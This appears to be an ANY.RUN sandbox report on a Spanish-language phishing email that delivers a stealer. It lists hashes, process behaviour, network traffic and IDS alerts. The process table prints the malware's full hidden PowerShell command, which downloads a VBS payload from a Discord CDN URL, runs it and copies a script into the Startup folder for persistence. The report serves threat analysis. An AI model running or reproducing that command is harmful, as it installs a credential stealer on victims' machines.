analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Denuncia virtual en su contra.eml

Full analysis: https://app.any.run/tasks/cd045f7f-3e12-4200-b7d0-1e99ee82a980
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Analysis date: October 04, 2022, 21:35:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
stealer
Indicators:
MIME: message/rfc822
File info: RFC 822 mail, ASCII text, with very long lines, with CRLF line terminators
MD5:

7F4B8A4DF2C45A452B4841994C7CDAB3

SHA1:

673CD697E2FC2E2C66FFDEAB05A57D5F08334BC8

SHA256:

F37E9EA9FFD14510985F2E2AB4A0AB17B3BA6AE208CADDC71FF2252B753BD146

SSDEEP:

3072:BHl4/dtsX34Lz39EWrQBw0hzqL+2l0dcrM:BHl0+3GD7BEuq2+P

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    No malicious indicators.
  • SUSPICIOUS

    • Reads the computer name

      • OUTLOOK.EXE (PID: 3636)
      • WScript.exe (PID: 1552)
      • powershell.exe (PID: 3992)
      • WScript.exe (PID: 3184)
      • powershell.exe (PID: 3696)
      • WScript.exe (PID: 2920)
      • powershell.exe (PID: 3536)
    • Checks supported languages

      • OUTLOOK.EXE (PID: 3636)
      • WScript.exe (PID: 1552)
      • powershell.exe (PID: 3992)
      • powershell.exe (PID: 3696)
      • WScript.exe (PID: 3184)
      • WScript.exe (PID: 2920)
      • powershell.exe (PID: 3536)
    • Starts Internet Explorer

      • OUTLOOK.EXE (PID: 3636)
    • Searches for installed software

      • OUTLOOK.EXE (PID: 3636)
    • Creates files in the user directory

      • OUTLOOK.EXE (PID: 3636)
    • Reads Microsoft Outlook installation path

      • iexplore.exe (PID: 340)
      • explorer.exe (PID: 980)
      • iexplore.exe (PID: 2976)
    • Executes scripts

      • iexplore.exe (PID: 3952)
    • Executes PowerShell scripts

      • WScript.exe (PID: 1552)
      • WScript.exe (PID: 3184)
      • WScript.exe (PID: 2920)
    • Reads Environment values

      • powershell.exe (PID: 3992)
      • powershell.exe (PID: 3696)
      • powershell.exe (PID: 3536)
    • Executed via COM

      • explorer.exe (PID: 980)
      • explorer.exe (PID: 2676)
      • DllHost.exe (PID: 3668)
      • prevhost.exe (PID: 3944)
      • explorer.exe (PID: 1628)
    • Reads the date of Windows installation

      • explorer.exe (PID: 980)
      • explorer.exe (PID: 2676)
      • explorer.exe (PID: 1628)
    • Starts Microsoft Office Application

      • explorer.exe (PID: 980)
      • explorer.exe (PID: 1628)
    • Reads default file associations for system extensions

      • explorer.exe (PID: 2676)
      • explorer.exe (PID: 1628)
  • INFO

    • Checks supported languages

      • iexplore.exe (PID: 3952)
      • iexplore.exe (PID: 340)
      • explorer.exe (PID: 1964)
      • explorer.exe (PID: 980)
      • WINWORD.EXE (PID: 1556)
      • WINWORD.EXE (PID: 3104)
      • WINWORD.EXE (PID: 3276)
      • WINWORD.EXE (PID: 2356)
      • WINWORD.EXE (PID: 2216)
      • WINWORD.EXE (PID: 2360)
      • WINWORD.EXE (PID: 1628)
      • WINWORD.EXE (PID: 2252)
      • iexplore.exe (PID: 2976)
      • OUTLOOK.EXE (PID: 3796)
      • explorer.exe (PID: 432)
      • explorer.exe (PID: 2676)
      • DllHost.exe (PID: 3668)
      • explorer.exe (PID: 1628)
      • prevhost.exe (PID: 3944)
      • explorer.exe (PID: 1332)
      • WINWORD.EXE (PID: 2572)
      • WINWORD.EXE (PID: 2664)
      • ONENOTE.EXE (PID: 2436)
    • Changes internet zones settings

      • iexplore.exe (PID: 3952)
    • Reads the computer name

      • iexplore.exe (PID: 3952)
      • iexplore.exe (PID: 340)
      • explorer.exe (PID: 1964)
      • WINWORD.EXE (PID: 1556)
      • explorer.exe (PID: 980)
      • iexplore.exe (PID: 2976)
      • explorer.exe (PID: 432)
      • explorer.exe (PID: 2676)
      • DllHost.exe (PID: 3668)
      • prevhost.exe (PID: 3944)
      • explorer.exe (PID: 1332)
      • explorer.exe (PID: 1628)
      • ONENOTE.EXE (PID: 2436)
    • Application launched itself

      • iexplore.exe (PID: 3952)
    • Reads settings of System Certificates

      • iexplore.exe (PID: 340)
      • iexplore.exe (PID: 3952)
      • iexplore.exe (PID: 2976)
    • Checks Windows Trust Settings

      • iexplore.exe (PID: 340)
      • iexplore.exe (PID: 3952)
      • WScript.exe (PID: 1552)
      • powershell.exe (PID: 3992)
      • iexplore.exe (PID: 2976)
      • WScript.exe (PID: 3184)
      • powershell.exe (PID: 3696)
      • WScript.exe (PID: 2920)
      • powershell.exe (PID: 3536)
    • Changes settings of System certificates

      • iexplore.exe (PID: 3952)
    • Reads internet explorer settings

      • iexplore.exe (PID: 340)
      • iexplore.exe (PID: 2976)
    • Adds / modifies Windows certificates

      • iexplore.exe (PID: 3952)
    • Creates files in the user directory

      • iexplore.exe (PID: 340)
      • WINWORD.EXE (PID: 1556)
      • iexplore.exe (PID: 3952)
    • Modifies the phishing filter of IE

      • iexplore.exe (PID: 3952)
    • Reads Microsoft Office registry keys

      • OUTLOOK.EXE (PID: 3636)
      • explorer.exe (PID: 980)
      • OUTLOOK.EXE (PID: 3796)
      • WINWORD.EXE (PID: 2360)
      • WINWORD.EXE (PID: 1628)
      • WINWORD.EXE (PID: 1556)
      • WINWORD.EXE (PID: 3276)
      • WINWORD.EXE (PID: 3104)
      • WINWORD.EXE (PID: 2216)
      • WINWORD.EXE (PID: 2356)
      • WINWORD.EXE (PID: 2252)
      • explorer.exe (PID: 1628)
      • WINWORD.EXE (PID: 2572)
      • ONENOTE.EXE (PID: 2436)
      • WINWORD.EXE (PID: 2664)
    • Reads the date of Windows installation

      • iexplore.exe (PID: 3952)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.eml | E-Mail message (Var. 5) (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
78
Monitored processes
30
Malicious processes
5
Suspicious processes
6

Behavior graph

Click at the process to see the details
start outlook.exe iexplore.exe iexplore.exe wscript.exe no specs powershell.exe explorer.exe no specs explorer.exe no specs winword.exe no specs winword.exe no specs winword.exe no specs winword.exe no specs winword.exe no specs winword.exe no specs winword.exe no specs winword.exe no specs outlook.exe no specs iexplore.exe wscript.exe no specs powershell.exe explorer.exe no specs explorer.exe no specs PhotoViewer.dll no specs wscript.exe no specs powershell.exe explorer.exe no specs explorer.exe no specs prevhost.exe no specs winword.exe no specs winword.exe no specs onenote.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3636"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE" /eml "C:\Users\admin\AppData\Local\Temp\Denuncia virtual en su contra.eml"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE
Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Version:
14.0.6025.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\office14\outlook.exe
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
3952"C:\Program Files\Internet Explorer\iexplore.exe" https://eur03.safelinks.protection.outlook.com/?url=https%3A%2F%2Fdrive.google.com%2Ffile%2Fd%2F1BKZ6_HrkZEuwCsQCeD1X6sgY7FSlAI-K%2Fview%3Fusp%3Ddrive_web&data=05%7C01%7Cyamile.salah%40wavin.com%7C0f94280b493c4c0453b208daa5bf2f47%7Cfad75a54a3234cd08e516a8d57035aa8%7C0%7C0%7C638004538128623635%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=UNYsY1dEmzhjT2WF3qTv0um4VQbuRfDmqtsTnx6rB2A%3D&reserved=0C:\Program Files\Internet Explorer\iexplore.exe
OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
340"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3952 CREDAT:267521 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\sechost.dll
1552"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\En atención a los dispuestos en el artículo 103 del C.P.A.C.A, En su inicio final, SECRETARIA REMITIRA A TRAVES DEL%.wsf" C:\Windows\System32\WScript.exeiexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
3992"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1004393907871817780/1026695344303636621/Crpted.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('En atención a los dispuestos en el artículo 103 del C.P.A.C.A, En su inicio final, SECRETARIA REMITIRA A TRAVES DEL SERVICIO POSTAL AUTORIZADO.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\кOсЙзаМ.wsf');Start-Sleep 1;rm *.pif,*.uueC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1964"C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbsC:\Windows\explorer.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
980C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -EmbeddingC:\Windows\explorer.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1556"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Documents\particularlytook.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\gdi32.dll
3104"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Documents\removemonitoring.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
3276"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Documents\~$movemonitoring.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\user32.dll
Total events
96 162
Read events
93 510
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
36
Text files
63
Unknown types
43

Dropped files

PID
Process
Filename
Type
3636OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVRBD37.tmp.cvr
MD5:
SHA256:
3636OUTLOOK.EXEC:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst
MD5:
SHA256:
340iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:6AF6982999AE630AE2A12FD90B7BC7F4
SHA256:E57C8F23F378AAFAB147F6D1F73711A7C811FDE0D0AEED23C389C5EC65BB180A
340iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2F23D0F5E4D72862517E1CB26A329742_F6FACC49395CFA949BCE851E73323C49der
MD5:FC3590371542781688A0E00B5633FB09
SHA256:9A3B60E421D01707341754521C847E2BFE5FC7D9032A8AA23435713052D86BB5
340iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EAbinary
MD5:0E9D967C1C5AF89C8D4D8F7C56DB578C
SHA256:87AE0B305CBA338C7FA94688D7B731D447A9489CD4330EFE564E5B75FF66EB18
340iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2F23D0F5E4D72862517E1CB26A329742_F6FACC49395CFA949BCE851E73323C49binary
MD5:85EDB6186B59E7F81C3B5D94E99D86FC
SHA256:024F203CB7423042D4091200662F7CD8FA2529AB3344B4049C9A98F2661BC1AA
3636OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C3ECB51D.datimage
MD5:5C6F105BA5BD677BF85C0B5FC871F161
SHA256:5EB88EF7469BE4527A701A5DB9085E207BBEB4DD06F836E61114C7CC776968B9
3636OUTLOOK.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotmpgc
MD5:A56CAD7194DAF967AA29D630C0869124
SHA256:DED748D89CDABA19E6D42B48574825E853A62E5BEA2E15A83A70E5F7F112B03C
3636OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\outlook logging\firstrun.logtext
MD5:20B5BBEA4AD31FC059E9BB5983E918DD
SHA256:9B7572B5DE4244F6609C01F039A370CA7CBAC28F7E12D91F13638C0D778A7415
340iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBAder
MD5:5A11C6099B9E5808DFB08C5C9570C92F
SHA256:91291A5EDC4E10A225D3C23265D236ECC74473D9893BE5BD07E202D95B3FB172
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
17
TCP/UDP connections
111
DNS requests
34
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3636
OUTLOOK.EXE
GET
64.4.26.155:80
http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig
US
whitelisted
3952
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA%2BnRyLFPYjID1ie%2Bx%2BdSjo%3D
US
der
1.47 Kb
whitelisted
340
iexplore.exe
GET
200
172.217.18.3:80
http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCeE6r7sNF03AoTttPqUIyd
US
der
472 b
whitelisted
340
iexplore.exe
GET
200
172.217.18.3:80
http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCCXSZDRhQ0WgpeaWV1idaR
US
der
472 b
whitelisted
340
iexplore.exe
GET
200
172.217.18.3:80
http://ocsp.pki.goog/gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D
US
der
724 b
whitelisted
3952
iexplore.exe
GET
200
172.217.18.3:80
http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQD6a7qQTCYd8hJU9n3M3mXb
US
der
472 b
whitelisted
340
iexplore.exe
GET
200
172.217.18.3:80
http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCgVmpFkizRxRLqxUFbbeRm
US
der
472 b
whitelisted
340
iexplore.exe
GET
200
172.217.18.3:80
http://ocsp.pki.goog/gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB%2Fvu3PmotRDEvKn%2FiRyWpo%3D
US
der
471 b
whitelisted
340
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAGewca9P1l7sgwzOOVR2Hc%3D
US
der
471 b
whitelisted
340
iexplore.exe
GET
200
13.107.4.50:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?9d7ab7ab5e79d240
US
compressed
4.70 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3636
OUTLOOK.EXE
64.4.26.155:80
config.messenger.msn.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
340
iexplore.exe
142.250.184.195:443
www.gstatic.com
GOOGLE
US
whitelisted
340
iexplore.exe
142.250.186.46:443
drive.google.com
GOOGLE
US
whitelisted
340
iexplore.exe
93.184.220.29:80
ocsp.digicert.com
EDGECAST
GB
whitelisted
340
iexplore.exe
172.217.18.3:80
ocsp.pki.goog
GOOGLE
US
whitelisted
340
iexplore.exe
142.250.186.106:443
fonts.googleapis.com
GOOGLE
US
whitelisted
340
iexplore.exe
13.107.4.50:80
ctldl.windowsupdate.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
340
iexplore.exe
104.47.9.28:443
eur03.safelinks.protection.outlook.com
MICROSOFT-CORP-MSN-AS-BLOCK
AT
whitelisted
340
iexplore.exe
142.250.185.195:443
fonts.gstatic.com
GOOGLE
US
whitelisted
340
iexplore.exe
142.250.186.174:443
apis.google.com
GOOGLE
US
whitelisted

DNS requests

Domain
IP
Reputation
config.messenger.msn.com
  • 64.4.26.155
whitelisted
eur03.safelinks.protection.outlook.com
  • 104.47.9.28
  • 104.47.51.220
  • 104.47.51.156
whitelisted
ctldl.windowsupdate.com
  • 13.107.4.50
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted
drive.google.com
  • 142.250.186.46
shared
ocsp.pki.goog
  • 172.217.18.3
whitelisted
fonts.googleapis.com
  • 142.250.186.106
  • 142.250.184.202
whitelisted
www.gstatic.com
  • 142.250.184.195
  • 142.250.186.163
whitelisted
fonts.gstatic.com
  • 142.250.185.195
whitelisted
play.google.com
  • 142.250.186.142
whitelisted

Threats

PID
Process
Class
Message
Misc activity
ET INFO Observed Discord Domain in DNS Lookup (discordapp .com)
3992
powershell.exe
Misc activity
ET INFO Observed Discord Domain (discordapp .com in TLS SNI)
Misc activity
ET INFO Observed Discord Domain in DNS Lookup (discordapp .com)
3696
powershell.exe
Misc activity
ET INFO Observed Discord Domain (discordapp .com in TLS SNI)
3536
powershell.exe
Misc activity
ET INFO Observed Discord Domain (discordapp .com in TLS SNI)
No debug info